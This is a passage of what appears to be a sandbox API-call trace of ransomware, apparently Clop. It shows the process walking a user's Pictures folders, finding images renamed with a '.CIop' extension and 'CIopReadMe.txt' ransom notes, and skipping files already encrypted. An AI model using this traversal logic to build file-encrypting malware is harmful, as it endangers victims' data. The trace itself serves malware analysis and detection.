returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF" [0118.025] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*" [0118.025] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0118.025] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\-yOADLMtpkF") returned="-yOADLMtpkF" [0118.025] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-yOADLMtpkF" | out: lpString1="-yOADLMtpkF") returned="-yOADLMtpkF" [0118.025] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.025] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.025] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0118.025] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0118.025] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0118.025] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.025] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.025] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.025] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2="..") returned 1 [0118.025] lstrcmpW (lpString1="q0YpRzhHSmV", lpString2=".") returned 1 [0118.025] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0118.025] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0118.025] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0118.026] SetErrorMode (uMode=0x1) returned 0x1 [0118.026] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0118.026] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0118.026] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0118.026] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0118.026] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dd78 [0118.026] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0118.026] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0118.026] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.026] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.026] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.026] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.026] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.026] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.026] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.026] lstrcmpW (lpString1="Z-AP6tzBW HexwllgoRb.jpg.CIop", lpString2="..") returned 1 [0118.026] lstrcmpW (lpString1="Z-AP6tzBW HexwllgoRb.jpg.CIop", lpString2=".") returned 1 [0118.026] lstrlenW (lpString=".CIop") returned 5 [0118.026] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0118.026] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.026] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.026] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0118.026] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*" [0118.026] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0118.026] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="q0YpRzhHSmV" [0118.026] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="q0YpRzhHSmV" | out: lpString1="q0YpRzhHSmV") returned="q0YpRzhHSmV" [0118.027] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.027] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.027] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.027] lstrcmpW (lpString1="72AEjtrdw7I", lpString2="..") returned 1 [0118.027] lstrcmpW (lpString1="72AEjtrdw7I", lpString2=".") returned 1 [0118.027] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV" [0118.027] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\" [0118.027] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\", lpString2="72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0118.027] SetErrorMode (uMode=0x1) returned 0x1 [0118.027] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0118.027] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0118.027] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0118.027] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0118.027] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67e078 [0118.027] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0118.027] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0118.027] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.027] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.027] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.027] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.027] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.027] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.027] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.027] lstrcmpW (lpString1="jf2gmUDSNpxqc ZNVVv.jpg.CIop", lpString2="..") returned 1 [0118.027] lstrcmpW (lpString1="jf2gmUDSNpxqc ZNVVv.jpg.CIop", lpString2=".") returned 1 [0118.027] lstrlenW (lpString=".CIop") returned 5 [0118.027] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.027] lstrcmpW (lpString1="lAHCz7usAd.gif.CIop", lpString2="..") returned 1 [0118.027] lstrcmpW (lpString1="lAHCz7usAd.gif.CIop", lpString2=".") returned 1 [0118.027] lstrlenW (lpString=".CIop") returned 5 [0118.027] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.027] lstrcmpW (lpString1="MsxtzGW tpKDJN.gif.CIop", lpString2="..") returned 1 [0118.027] lstrcmpW (lpString1="MsxtzGW tpKDJN.gif.CIop", lpString2=".") returned 1 [0118.027] lstrlenW (lpString=".CIop") returned 5 [0118.027] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.027] lstrcmpW (lpString1="TqgqXxG.bmp.CIop", lpString2="..") returned 1 [0118.027] lstrcmpW (lpString1="TqgqXxG.bmp.CIop", lpString2=".") returned 1 [0118.027] lstrlenW (lpString=".CIop") returned 5 [0118.027] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.027] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0118.027] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0118.028] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0118.028] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0118.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*" [0118.028] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dc38 [0118.028] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="72AEjtrdw7I" [0118.028] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="72AEjtrdw7I" | out: lpString1="72AEjtrdw7I") returned="72AEjtrdw7I" [0118.028] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.028] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.028] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.028] FindNextFileW (in: hFindFile=0x67dc38, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0118.028] lstrcmpW (lpString1="E6JXhV-d_ UCg59VKS", lpString2="..") returned 1 [0118.028] lstrcmpW (lpString1="E6JXhV-d_ UCg59VKS", lpString2=".") returned 1 [0118.028] lstrcpyW (in: lpString1=0x2dc2d68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I" [0118.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\" [0118.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\", lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0118.028] SetErrorMode (uMode=0x1) returned 0x1 [0118.028] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0118.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0118.028] lstrcpyW (in: lpString1=0x2dc1540, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\" [0118.028] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0118.028] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dc78 [0118.028] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0118.028] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.029] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.029] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] lstrcmpW (lpString1="dDTdaFbzRTbH.png.CIop", lpString2="..") returned 1 [0118.029] lstrcmpW (lpString1="dDTdaFbzRTbH.png.CIop", lpString2=".") returned 1 [0118.029] lstrlenW (lpString=".CIop") returned 5 [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] lstrcmpW (lpString1="uOf1gCg-syx.bmp.CIop", lpString2="..") returned 1 [0118.029] lstrcmpW (lpString1="uOf1gCg-syx.bmp.CIop", lpString2=".") returned 1 [0118.029] lstrlenW (lpString=".CIop") returned 5 [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] lstrcmpW (lpString1="xBTg.bmp.CIop", lpString2="..") returned 1 [0118.029] lstrcmpW (lpString1="xBTg.bmp.CIop", lpString2=".") returned 1 [0118.029] lstrlenW (lpString=".CIop") returned 5 [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0 [0118.029] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0118.029] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0118.029] lstrcpyW (in: lpString1=0x2dc1950, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS" [0118.029] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*" [0118.029] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS\\*.*", lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 0x67dc78 [0118.029] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0118.029] lstrcpyW (in: lpString1=0x2dbff34, lpString2="E6JXhV-d_ UCg59VKS" | out: lpString1="E6JXhV-d_ UCg59VKS") returned="E6JXhV-d_ UCg59VKS" [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc0ad0 | out: lpFindFileData=0x2dc0ad0) returned 1 [0118.029] FindNextFileW (in: 